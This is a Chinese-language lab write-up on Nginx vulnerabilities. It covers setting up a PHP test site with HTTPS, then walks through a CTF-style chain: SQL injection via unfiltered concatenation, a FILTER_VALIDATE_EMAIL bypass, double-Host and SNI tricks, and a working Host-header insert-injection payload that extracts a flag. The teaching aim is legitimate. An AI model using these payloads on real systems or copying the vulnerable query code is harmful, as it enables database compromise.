一.Nginx漏洞的原理
1,Nginx越界读取缓存漏洞(CVE-2017-7529) 可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
2,Nginx 文件名逻辑漏洞(CVE-2013-4547) 主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
3,Nginx解析漏洞复现 第3和第2都是文件解析漏洞,只是利用的方式不同,第2利用方式为:1.png.php。而第3利用方式为:1.png/.php。这样,1.png文件就会当成php文件进行解析。从而造成代码执行等。
二.测试环境搭建
linux、nginx(需要使用虚拟主机并且配置https证书,且具有php解析功能。)mysql、php组件。
1.nginx配置
#创建web目录
mkdir -p /var/www/aaa/
#配置nginx配置文件
/usr/local/nginx/conf/nginx.conf
#文件内容添加server模块
server {
listen 80;
server_name www.aaa.com;
root "/var/www/aaa/nginxhost/web";
index index.html index.php;
location / {
try_files $uri $uri/ /index.php;
}
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
[root@blackstone aaa]# /usr/local/nginx/sbin/nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@blackstone aaa]# /usr/local/nginx/sbin/nginx
修改本机的host文件:C:\Windows\System32\drivers\etc
192.168.2.169 www.aaa.com
2.代码部署和数据库配置
mv /home/batman/nginxhost
3.给tmp文件赋权
[root@blackstone web]# chmod 777 /var/www/aaa/nginxhost/protected/tmp
测试:4. 数据库对接(在对应目录下输入mysql -uroot -p密码 )
[root@blackstone nginxhost]
mysql> create database security;
Query OK, 1 row affected (0.00 sec)
mysql> use security;
Database changed
mysql> source initialize.sql
https配置
1.先去CA机构或从云控制台中申请对应的SSL证书,审核通过后下载Nginx版本的证书。
2.下载数字证书后,完整的文件总共有三个: .crt、.key、.pem
.crt:数字证书文件,.crt是.pem的拓展文件,因此有些人下载后可能没有。
.key:服务器的私钥文件,及非对称加密的私钥,用于解密公钥传输的数据。
.pem:Base64-encoded编码格式的源证书文本文件,可自行根需求修改拓展名。
3.在Nginx目录下新建certificate目录,并将下载好的证书/私钥等文件上传至该目录。
4.最后修改一下nginx.conf文件
server {
# 监听HTTPS默认的443端口
listen 443;
# 配置自己项目的域名
server_name www.xxx.com;
# 打开SSL加密传输
ssl on;
# 输入域名后,首页文件所在的目录
root html;
# 配置首页的文件名
index index.html index.htm index.jsp index.ftl;
# 配置自己下载的数字证书
ssl_certificate certificate/xxx.pem;
# 配置自己下载的服务器私钥
ssl_certificate_key certificate/xxx.key;
# 停止通信时,加密会话的有效期,在该时间段内不需要重新交换密钥
ssl_session_timeout 5m;
# TLS握手时,服务器采用的密码套件
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
# 服务器支持的TLS版本
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
# 开启由服务器决定采用的密码套件
ssl_prefer_server_ciphers on;
location / {
....
}
}
#HTTP请求转HTTPS
server {
# 监听HTTP默认的80端口
listen 80;
# 如果80端口出现访问该域名的请求
server_name www.xxx.com;
# 将请求改写为HTTPS(这里写你配置了HTTPS的域名)
rewrite ^(.*)$ https://www.xxx.com;
}
5.测试访问效果
#检测配置语法后,重启服务
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx -t
Enter PEM pass phrase:
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx
Enter PEM pass phrase:
nginx自签名证书
#1.创建证书目录
[root@blackstone nginx]# mkdir certificate
[root@blackstone nginx]# cd certificate/
#2.生成私钥 - 要求你输入这个key文件的密码。给nginx使用。每次reload nginx配置时候都要验证这个PAM密码。
openssl genrsa -des3 -out ssl.key 4096
#3.生成CA证书文件
openssl req -new -key ssl.key -out ssl.csr
#4.利用CA证书签名生成服务器身份证书 - 证书签发有效期365天
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key -out ssl.crt
#5.检查生成情况 - 此时包含我们自己的私钥,自己的证书.crt文件,以及csrCA证书
[root@blackstone certificate]# ll
total 12
-rw-r--r-- 1 root root 1891 Jan 11 21:28 ssl.crt
-rw-r--r-- 1 root root 1756 Jan 11 21:25 ssl.csr
-rw-r--r-- 1 root root 3311 Jan 11 21:24 ssl.key
nginx配置ssl模块
#1.是否具有ssl模块 --- 输出含有configure arguments: --with-http_ssl_module
/usr/local/nginx/sbin/nginx -V
#2.移动到nginx源码解压目录
./configure --with-http_ssl_module
#3.编译执行
make
#4.备份已安装好的nginx
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
#5.将编译好的nginx覆盖原有的nginx(这时nginx停止状态)
cp ./objs/nginx /usr/local/nginx/sbin/
#6.测试查看
[root@blackstone nginx-1.20.2]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: --with-http_ssl_module
三.sql注入漏洞挖掘
sql注入基本原理:从前端通过get传参,将id传递到后端php代码,后端的php代码接收到了参数。将参数不加任何过滤的拼接进入sql语句内部,由此引发的安全漏洞会导致恶意的数据库语句执行。
后端代码:
#接收参数
$id=$_GET['id'];
#直接拼接进入sql语句进行执行
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#我们传参后的语句 出现语法错误,在执行时必然会引发报错
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
FILTER_VALIDATE_EMAIL绕过
RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:
将特殊字符用\转义,如Joe\'Blow@example.com
或将local part包裹在双引号中,如"Joe'Blow"@example.com
local part长度不超过64个字符
虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过FILTER_VALIDATE_EMAIL的检测。
因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为"name,Host为is’“@.aaa.com,最后拼接出来的邮箱为"nameis’”@aaa.com。这个邮箱是合法的。
HOST绕过
双HOST字段绕过 - nginx低版本可用
Host: www.aaa.com
Host: '"@aaa.com
[root@blackstone web]# nginx -v
nginx version: nginx/1.20.1
SNI扩展绕过
SNI概念:SNI (Server Name Indication)是用来改善服务器与客户端 SSL (Secure Socket Layer)和 TLS (Transport Layer Security) 的一个扩展。
应用实例:公司域名更变,同时又要新旧域名同时运行。 那么对于https的域名在同一个IP上如何同时存在多个虚拟主机呢?
测试SNI特性
检测SNI的活动性
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled #这里表示已经开启了SNI
configure arguments: --with-http_ssl_module
(直接使用burp进行抓包,我们可以直接获取到这里的报错信息,显然SNI机制在这里起到了作用,原因就是我们在刚开始通信时就已经在协商阶段发送给服务器我们的HOST字段,后续的通信nginx不再依赖此字段。但是php处理时依然再使用新的host字段。于是就导致了这里的注入回显。)
insert注入获取flag
最终host字段:
Host: www.aaa.com:'),('a',md5(123),(select(flag)from(flags)))#"@aaa.com
内部执行的sql语句,相当于插入了两组数据,而第二组数据的email字段被拿来存放查询flag的结果
insert into users (username,password,email) values ("batman,md5(123456),"batman@www.aaa.com),('a',md5(123),(select(flag)from(flags)))